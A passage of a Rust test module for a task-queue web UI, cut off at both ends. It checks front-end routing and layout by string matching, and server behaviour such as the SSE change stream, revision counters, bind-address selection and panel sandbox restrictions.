19676 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19677 ),
19678 "`#/queue/<id>` must parse into a route carrying that id"
19679 );
19680
19681 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19685 assert!(APP_JS.contains("function consumeQueueFocus()"));
19686 assert!(APP_JS.contains("jumpToTask(id)"));
19687 }
19688
19689 #[test]
19690 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19691 let start = APP_JS
19692 .find("function noticeCoveredBy(")
19693 .expect("noticeCoveredBy exists");
19694 let body = &APP_JS[start..];
19695 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19696
19697 assert!(body.contains("Associated question ${short}"));
19699 assert!(!body.contains("el(\"a\""));
19700
19701 assert!(body.contains("(resolved)"));
19703 assert!(body.contains("(closed)"));
19704
19705 let start = APP_JS
19706 .find("function renderNotifications()")
19707 .expect("renderNotifications exists");
19708 let body = &APP_JS[start..];
19709 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19710
19711 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19713 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19714 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19715 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19716 }
19717
19718 #[test]
19721 fn chat_rows_put_the_title_alone_on_the_first_line() {
19722 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19723 assert!(APP_CSS.contains(
19724 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19725 ));
19726 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19727 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19728 }
19729
19730 #[test]
19731 fn run_rows_put_the_title_alone_on_the_first_line() {
19732 assert!(
19733 APP_CSS.contains(
19734 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19735 )
19736 );
19737 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19738 assert!(APP_JS.contains("class: \"card run-card\""));
19739 assert!(APP_JS.contains("class: \"repo run-id\""));
19740 }
19741
19742 #[test]
19746 fn wide_screens_show_list_and_preview_side_by_side() {
19747 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19749 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19750 assert!(APP_CSS.contains("main[data-split]"));
19751 assert!(APP_CSS.contains("body[data-split]"));
19752
19753 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19755 assert!(
19756 APP_JS.contains(
19757 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19758 )
19759 );
19760 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19761 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19762 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19763
19764 assert!(APP_JS.contains("function markSelected() {"));
19766 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19767 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19768 assert!(
19770 APP_CSS.contains(
19771 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19772 )
19773 );
19774
19775 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19777 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19778 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19779 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19780
19781 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19785 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19786 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19787 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19788
19789 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19791 }
19792
19793 #[test]
19794 fn panel_sandbox_carries_exactly_popups() {
19795 let needle = "sandbox: \"";
19796 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19797 assert_eq!(
19798 matches.len(),
19799 1,
19800 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19801 );
19802 let start = matches[0].0 + needle.len();
19803 let end = APP_JS[start..]
19804 .find('"')
19805 .expect("sandbox attribute value must be terminated by a closing quote");
19806 let val = &APP_JS[start..start + end];
19807 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19808 let expected: std::collections::BTreeSet<&str> =
19809 ["allow-popups", "allow-popups-to-escape-sandbox"]
19810 .into_iter()
19811 .collect();
19812 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19813 assert!(
19814 !tokens.contains("allow-scripts"),
19815 "allow-scripts must never be present in sandbox"
19816 );
19817 assert!(
19818 !tokens.contains("allow-same-origin"),
19819 "allow-same-origin must never be present in sandbox"
19820 );
19821 }
19822
19823 #[test]
19824 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19825 assert!(
19834 APP_JS.contains(
19835 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19836 ),
19837 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19838 recursive renderQueue() call has nothing left to jump to"
19839 );
19840 assert!(
19841 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19842 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19843 arrives later still gets it"
19844 );
19845 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19846 assert!(APP_JS.contains("is not in the current Backlog."));
19847 assert!(APP_JS.contains("li.card[data-task-id=\""));
19848 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19849 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19850 assert!(APP_CSS.contains(".card-permalink"));
19851 assert!(APP_CSS.contains(".queue-focus-status"));
19852 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19853 }
19854
19855 #[test]
19856 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19857 assert!(
19865 APP_JS.contains(
19866 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19867 ),
19868 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19869 );
19870 }
19871
19872 #[test]
19873 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19874 assert!(
19875 APP_JS.contains("round.verified_head !== round.head"),
19876 "a round that verified an earlier commit must be visibly distinct from one that \
19877 verified the head reviewers are looking at now"
19878 );
19879 assert!(
19880 APP_JS.contains("round.verified_at"),
19881 "when a check ran must be on the wire, not just which commit"
19882 );
19883 assert!(
19884 APP_JS.contains("resource_blocked"),
19885 "a command magi never got to run (shared build cache contention) must not render \
19886 the same as a command that ran and failed"
19887 );
19888 }
19889
19890 #[test]
19891 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19892 assert!(
19900 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19901 "every KPI tile built through statusTile() must route its click through \
19902 openRunsFiltered, the single place that sets the Runs filter"
19903 );
19904 for (label, status) in [
19905 ("Merged", "merged"),
19906 ("Ready", "ready"),
19907 ("Blocked", "blocked"),
19908 ("Stalled", "stalled"),
19909 ] {
19910 let call = format!("statusTile(\"{label}\", t.{status}, ");
19911 assert!(
19912 APP_JS.contains(&call),
19913 "expected the {label} KPI tile built via {call}..."
19914 );
19915 assert!(
19916 APP_JS.contains(&format!("status === \"{status}\"")),
19917 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19918 compare a run against, not one invented only for the stats tile"
19919 );
19920 }
19921 assert!(
19922 APP_JS.contains("function openRunsFiltered(status)"),
19923 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19924 );
19925 assert!(
19926 APP_JS.contains(
19927 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19928 ),
19929 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19930 );
19931 assert!(
19939 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19940 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19941 hashchange event that may never fire"
19942 );
19943 }
19944
19945 #[test]
19946 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19947 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19953 assert!(
19954 APP_JS.contains(
19955 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19956 ),
19957 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19958 guard for an incompatible tree section"
19959 );
19960 }
19961
19962 #[test]
19963 fn every_stats_queue_tile_names_a_real_queue_section() {
19964 assert!(
19970 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19971 "every queue tile built through sectionTile() must route its click through \
19972 openQueueSectionFocus"
19973 );
19974 for key in ["upnext", "running", "done", "held", "blocked"] {
19975 assert!(
19976 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19977 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19978 );
19979 }
19980 for line in [
19984 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19985 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19986 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19987 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19988 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19989 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19990 ] {
19991 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19992 }
19993 }
19994
19995 #[test]
19996 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19997 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20004 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20005 assert!(APP_JS.contains("function revealQueueSection(details)"));
20006 assert!(
20007 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20008 "renderQueue() must consume both focus channels on every pass"
20009 );
20010 assert!(
20011 APP_JS.contains(
20012 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20013 ),
20014 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20015 the recursive renderQueue() call has nothing left to reveal"
20016 );
20017 assert!(
20018 APP_JS.contains(
20019 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20020 ),
20021 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20022 );
20023 assert!(
20031 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20032 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20033 hashchange event that may never fire"
20034 );
20035 }
20036
20037 #[tokio::test]
20038 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20039 let f = Fixture::start().await;
20040
20041 let mut socket = tokio::net::TcpStream::connect(f.addr)
20042 .await
20043 .expect("connect");
20044 socket
20045 .write_all(
20046 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20047 )
20048 .await
20049 .expect("write request");
20050
20051 let mut seen = String::new();
20054 let mut buf = [0u8; 1024];
20055 while !seen.contains("event: change") {
20056 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20057 .await
20058 .expect("the stream must speak within five seconds")
20059 .expect("read");
20060 assert!(read > 0, "the server closed the change stream: {seen}");
20061 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20062 }
20063
20064 assert!(
20065 seen.to_lowercase()
20066 .contains("content-type: text/event-stream"),
20067 "the browser only reconnects automatically for a real SSE stream: {seen}"
20068 );
20069 let data = seen
20070 .lines()
20071 .find_map(|l| l.strip_prefix("data:"))
20072 .expect("a data line");
20073 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20074 assert!(
20075 payload["queue_rev"].is_u64()
20076 && payload["runs_rev"].is_u64()
20077 && payload["questions_rev"].is_u64()
20078 && payload["talks_rev"].is_u64()
20079 && payload["notifications_rev"].is_u64()
20080 && payload["loop_rev"].is_u64(),
20081 "the client needs one revision per store to know what to refetch, \
20082 and `talks_rev` is the only notification a standing talk gets - a \
20083 phone whose radio slept through a turn learns about it here, as \
20084 does one whose operator started the loop from another device: \
20085 {payload}"
20086 );
20087
20088 let health = f.get("/api/health").await.json();
20095 for key in [
20096 "queue_rev",
20097 "runs_rev",
20098 "questions_rev",
20099 "talks_rev",
20100 "notifications_rev",
20101 "loop_rev",
20102 ] {
20103 assert!(
20104 health[key].is_u64(),
20105 "health is the change stream's fallback and is missing `{key}`: {health}"
20106 );
20107 }
20108 }
20109
20110 #[tokio::test]
20111 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20112 let f = Fixture::start().await;
20113 let before = f.get("/api/health").await.json()["talks_rev"]
20114 .as_u64()
20115 .expect("talks_rev");
20116
20117 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20118 std::thread::sleep(Duration::from_millis(10));
20119 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20120 on_disk.turns.push(crate::talk::Turn {
20121 sender: None,
20122 breaks: Some(Vec::new()),
20123 messages: Vec::new(),
20124 posted_by: None,
20125 who: crate::talk::Who::Operator,
20126 body: "a new turn".to_owned(),
20127 at: Timestamp::now(),
20128 attachments: Vec::new(),
20129 usage: None,
20130 });
20131 f.talks().put(&mut on_disk).expect("record a turn");
20132
20133 let after = tokio::time::timeout(Duration::from_secs(5), async {
20134 loop {
20135 let revision = f.get("/api/health").await.json()["talks_rev"]
20136 .as_u64()
20137 .unwrap();
20138 if revision != before {
20139 break revision;
20140 }
20141 tokio::time::sleep(Duration::from_millis(50)).await;
20142 }
20143 })
20144 .await
20145 .expect("shared monitor observes external turn");
20146 assert_ne!(
20147 before, after,
20148 "a phone must be able to notice a talk's reply without polling every store"
20149 );
20150 }
20151
20152 #[test]
20153 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20154 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20158 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20159 }
20160 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20161 assert!("everywhere".parse::<Bind>().is_err());
20162 }
20163
20164 #[test]
20165 fn an_explicit_bind_address_is_taken_verbatim() {
20166 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20167
20168 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20169
20170 assert_eq!(addr, asked);
20171 assert!(
20172 warning.is_none(),
20173 "an operator who named an address gets no lecture"
20174 );
20175 }
20176
20177 #[test]
20178 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20179 let (addr, warning) = resolve_bind(&Bind::Auto);
20180
20181 match addr {
20188 IpAddr::V4(ip) if is_tailnet(&ip) => {
20189 assert!(warning.is_none(), "a tailnet address needs no warning");
20190 }
20191 other => {
20192 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20193 let warning = warning.expect("a fallback has to explain itself");
20194 assert!(
20195 warning.contains("127.0.0.1") && warning.contains("local-only"),
20196 "the warning says what happened and what it costs: {warning}"
20197 );
20198 }
20199 }
20200 }
20201
20202 #[test]
20203 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20204 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20208 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20209 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20210 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20211 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20212 }
20213
20214 #[test]
20215 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20216 let ids = vec![
20217 "20260902-140501-aaaa".to_owned(),
20218 "20260902-140502-aabb".to_owned(),
20219 ];
20220
20221 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20222 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20223 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20224
20225 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20226 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20227 assert_eq!(short, "20260902-140502-aabb");
20228 }
20229 #[tokio::test]
20230 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20231 let fx = Fixture::start().await;
20237 let id = panel(
20238 &fx,
20239 "<img src=\"shot.png\">",
20240 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20241 );
20242
20243 let doc = fx
20245 .get(&format!("/api/questions/{id}/panel/index.html"))
20246 .await;
20247 assert_eq!(doc.status, 200, "{}", doc.body);
20248 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20249
20250 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20251 assert_eq!(sibling.status, 200, "{}", sibling.body);
20252 assert_eq!(sibling.header("content-type"), Some("image/png"));
20253 assert_eq!(
20254 sibling.header("content-security-policy"),
20255 Some(PANEL_CSP),
20256 "the sibling route must carry the same policy as the asset route"
20257 );
20258
20259 assert_eq!(
20262 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20263 200
20264 );
20265 }
20266
20267 #[test]
20268 fn delta_stamps_cover_add_update_remove_and_noop() {
20269 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20270 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20271 let delta = diff_stamps(&before, &after, 42);
20272 assert_eq!(delta.base, 42);
20273 assert_eq!(delta.changed, ["b", "c"]);
20274 assert_eq!(delta.removed, ["a"]);
20275 let same = diff_stamps(&after, &after, 43);
20276 assert!(same.changed.is_empty() && same.removed.is_empty());
20277 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20278 let nanos: Stamps = [("b".into(), (2, 20))].into();
20279 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20280 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20281 assert_eq!(stamps_revision(&Stamps::new()), 0);
20282 }
20283
20284 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20285 std::fs::create_dir_all(home.join("runs")).unwrap();
20286 Arc::new(Ui::new(
20287 Queue::at(home.join("queue")),
20288 Questions::at(home.join("questions")),
20289 Talks::at(home.join("talks")),
20290 home.join("runs"),
20291 home.to_owned(),
20292 PathBuf::from("/repo/magi"),
20293 ))
20294 }
20295
20296 #[test]
20297 fn monitor_scan_isolates_store_failures_and_recovers() {
20298 let home = TempDir::new().unwrap();
20299 let ui = delta_test_ui(home.path());
20300 std::fs::create_dir_all(ui.questions.root()).unwrap();
20301 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20302 let before = monitor_scan(&ui, None);
20303 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20304 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20305 std::fs::create_dir_all(ui.talks.root()).unwrap();
20306 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20307 let during = monitor_scan(&ui, Some(before.clone()));
20308 assert_eq!(during.0.2, before.0.2);
20309 assert_ne!(during.0.3, before.0.3);
20310 assert!(during.1[2].contains_key("new"));
20311 std::fs::remove_file(ui.questions.root()).unwrap();
20312 let after = monitor_scan(&ui, Some(during));
20313 assert_eq!(after.0.2, 0);
20314 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20315 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20317 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20318 }
20319
20320 #[tokio::test]
20321 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20322 let home = TempDir::new().unwrap();
20323 let ui = delta_test_ui(home.path());
20324 let mut task = Task::new(
20325 "stream task".into(),
20326 "text".into(),
20327 PathBuf::from("/repo"),
20328 Source::Human,
20329 );
20330 ui.queue.put(&mut task).unwrap();
20331 let response = events(State(ui.clone())).await.into_response();
20332 let mut stream = response.into_body().into_data_stream();
20333 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20334 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20335 .await
20336 .unwrap()
20337 .unwrap()
20338 .unwrap();
20339 let text = String::from_utf8(chunk.to_vec()).unwrap();
20340 let data = text
20341 .lines()
20342 .find_map(|line| {
20343 line.strip_prefix("data: ")
20344 .or_else(|| line.strip_prefix("data:"))
20345 })
20346 .unwrap();
20347 serde_json::from_str(data).unwrap()
20348 }
20349 let initial = change(&mut stream).await;
20350 assert!(initial.get("queue_delta").is_none());
20351 task.instruction.push_str(" changed");
20352 ui.queue.put(&mut task).unwrap();
20353 let updated = change(&mut stream).await;
20354 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20355 assert_eq!(
20356 updated["queue_delta"]["changed"],
20357 serde_json::json!([task.id])
20358 );
20359 assert_eq!(
20360 updated["queue_rev"].as_u64(),
20361 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20362 );
20363 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20364 let removed = change(&mut stream).await;
20365 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20366 assert_eq!(
20367 removed["queue_delta"]["removed"],
20368 serde_json::json!([task.id])
20369 );
20370 }
20371
20372 #[tokio::test]
20373 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20374 let home = TempDir::new().unwrap();
20375 let ui = delta_test_ui(home.path());
20376 let queue = ui.queue.clone();
20377 let query = |ids: Option<&str>| {
20378 Query(ListQuery {
20379 limit: Some(2),
20380 ids: ids.map(str::to_owned),
20381 })
20382 };
20383 let mut root = Task::new(
20384 "root".into(),
20385 "instruction".into(),
20386 PathBuf::from("/repo"),
20387 Source::Human,
20388 );
20389 queue.put(&mut root).unwrap();
20390 let mut blocked = Task::new(
20391 "blocked".into(),
20392 "instruction".into(),
20393 PathBuf::from("/repo"),
20394 Source::Human,
20395 );
20396 blocked.block(vec![root.id.clone()], None);
20397 queue.put(&mut blocked).unwrap();
20398 let whole =
20399 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20400 .unwrap();
20401 let subset = serde_json::to_value(
20402 queue_list(State(ui.clone()), query(Some(&root.id)))
20403 .await
20404 .unwrap()
20405 .0,
20406 )
20407 .unwrap();
20408 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20409 let blockers = serde_json::to_value(
20410 queue_list(State(ui.clone()), query(Some("")))
20411 .await
20412 .unwrap()
20413 .0,
20414 )
20415 .unwrap();
20416 assert_eq!(blockers.as_array().unwrap().len(), 1);
20417 assert_eq!(blockers[0]["id"], blocked.id);
20418 assert_eq!(
20419 blockers[0]["waits_on"],
20420 whole
20421 .as_array()
20422 .unwrap()
20423 .iter()
20424 .find(|row| row["id"] == blocked.id)
20425 .unwrap()["waits_on"]
20426 );
20427
20428 for id in [
20429 "20260902-140501-aaaa",
20430 "20260902-140502-bbbb",
20431 "20260902-140503-cccc",
20432 ] {
20433 write_run(&ui.runs, id, RunStatus::Merged);
20434 }
20435 let old = serde_json::to_value(
20436 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20437 .await
20438 .unwrap()
20439 .0,
20440 )
20441 .unwrap();
20442 assert!(
20443 old.as_array().unwrap().is_empty(),
20444 "older updates must not enter the window"
20445 );
20446 let newest = serde_json::to_value(
20447 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20448 .await
20449 .unwrap()
20450 .0,
20451 )
20452 .unwrap();
20453 assert_eq!(newest.as_array().unwrap().len(), 1);
20454 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20455
20456 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20457 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20458 let talks = serde_json::to_value(
20459 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20460 .await
20461 .unwrap()
20462 .0,
20463 )
20464 .unwrap();
20465 assert_eq!(talks.as_array().unwrap().len(), 1);
20466 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20467 assert_eq!(
20468 serde_json::to_value(
20469 talks_list(State(ui.clone()), query(Some("")))
20470 .await
20471 .unwrap()
20472 .0
20473 )
20474 .unwrap(),
20475 serde_json::json!([])
20476 );
20477 }
20478
20479 #[tokio::test]
20480 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20481 async fn delta_payload_benchmark() {
20482 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20483 let ui = delta_test_ui(&home);
20484 let query = |ids: Option<String>| {
20485 Query(ListQuery {
20486 limit: Some(50),
20487 ids,
20488 })
20489 };
20490 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20491 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20492 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20493 let queue_id = queue
20494 .iter()
20495 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20496 .unwrap_or(&queue[0])
20497 .task
20498 .id
20499 .clone();
20500 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20501 .await
20502 .unwrap()
20503 .0;
20504 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20505 .await
20506 .unwrap()
20507 .0;
20508 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20509 .await
20510 .unwrap()
20511 .0;
20512 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20513 eprintln!(
20514 "DELTA_PAYLOAD {}",
20515 serde_json::json!({
20516 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20517 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20518 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20519 "counts": [queue.len(), runs.len(), talks.len()],
20520 "blocked": queue_delta.len() - 1,
20521 })
20522 );
20523 }
20524
20525 #[test]
20526 fn runs_revision_moves_when_deleting_an_older_run() {
20527 let temp = TempDir::new().expect("tempdir");
20528 let runs = temp.path().join("runs");
20529 std::fs::create_dir_all(&runs).expect("create runs dir");
20530
20531 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20532
20533 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20534 std::thread::sleep(Duration::from_millis(10));
20535 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20536
20537 let rev_before = runs_revision(&runs);
20538 assert!(rev_before > 0);
20539
20540 let old_dir = runs.join("20260901-100000-old1");
20541 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20542
20543 let rev_after = runs_revision(&runs);
20544 assert_ne!(
20545 rev_before, rev_after,
20546 "deleting an older run must change the revision so other clients see the deletion"
20547 );
20548 }
20549
20550 fn write_state(runs: &FsPath, state: &RunState) {
20555 let dir = runs.join(&state.id);
20556 std::fs::create_dir_all(&dir).expect("run dir");
20557 std::fs::write(
20558 dir.join("run.json"),
20559 serde_json::to_string_pretty(state).expect("serialize run"),
20560 )
20561 .expect("write run.json");
20562 }
20563
20564 #[test]
20569 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20570 let temp = TempDir::new().expect("tempdir");
20571 let runs = temp.path().join("runs");
20572 std::fs::create_dir_all(&runs).expect("create runs dir");
20573 let mut state = RunState::new(
20574 PathBuf::from("/repo/magi"),
20575 "main".to_owned(),
20576 "0123456789abcdef".to_owned(),
20577 "task".to_owned(),
20578 Config::default(),
20579 );
20580 state.id = "20260902-100000-c0de".to_owned();
20581 write_state(&runs, &state);
20582
20583 let rev_idle = runs_revision(&runs);
20584 std::thread::sleep(Duration::from_millis(10));
20585 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20586 write_state(&runs, &state);
20587 let rev_started = runs_revision(&runs);
20588 assert_ne!(
20589 rev_idle, rev_started,
20590 "a seat starting must move the revision"
20591 );
20592
20593 std::thread::sleep(Duration::from_millis(10));
20594 state.seat_finished("judge-1");
20595 write_state(&runs, &state);
20596 let rev_finished = runs_revision(&runs);
20597 assert_ne!(
20598 rev_started, rev_finished,
20599 "and clearing it again must move the revision a second time"
20600 );
20601 }
20602
20603 #[tokio::test]
20604 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20605 let fx = Fixture::start().await;
20610 let q = fx.queue();
20611
20612 let mut t = Task::new(
20613 "Task".to_owned(),
20614 "Instruction".to_owned(),
20615 PathBuf::from("/repo"),
20616 Source::Human,
20617 );
20618 t.block(
20619 vec!["20260101-000000-dead".to_owned()],
20620 Some("waiting on Task 1".to_owned()),
20621 );
20622 t.answers.push(crate::queue::AnsweredQuestion {
20623 question: "Which backend?".to_owned(),
20624 answer: "SQLite".to_owned(),
20625 });
